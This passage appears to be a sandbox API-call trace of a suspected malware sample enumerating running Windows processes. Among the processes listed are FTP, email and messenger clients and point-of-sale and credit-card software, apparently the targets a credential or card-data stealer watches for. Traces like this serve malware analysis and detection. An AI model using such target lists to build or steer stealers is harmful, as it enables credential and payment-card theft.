hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0248.430] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0248.432] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0248.434] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0248.436] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0248.438] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0248.440] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0248.442] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0248.444] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0248.446] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0248.448] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0248.450] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0248.452] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0248.454] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0248.457] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0248.459] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0248.461] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0248.463] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0248.465] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0248.467] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0248.469] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0248.471] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0248.523] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0248.525] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0248.526] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0248.529] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0248.531] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0248.534] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0248.536] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0248.539] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0248.541] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0248.544] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0248.546] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0248.549] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0248.552] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0248.554] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0248.557] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0248.559] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0248.562] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0248.564] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0248.634] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0248.637] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0248.639] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0248.641] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0248.643] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0248.645] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0248.648] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0248.650] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0248.652] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0248.654] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0248.656] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0248.658] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0248.660] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0248.662] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0248.664] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0248.666] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0248.668] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0248.670] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0248.672] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0248.674] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0248.725] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0248.727] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0248.729] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0248.731] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0248.733] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0248.735] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0248.737] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0248.739] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0248.741] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0248.742] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0248.744] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0248.746] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0248.748] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0248.750] CloseHandle (hObject=0x13b0) returned 1 [0248.750] Sleep (dwMilliseconds=0x64) [0248.787] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13b0 [0248.854] Process32First (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0248.856] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0248.857] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0248.859] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0248.861] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0248.863] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0248.865] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0248.867] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0248.869] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0248.870] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.872] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, 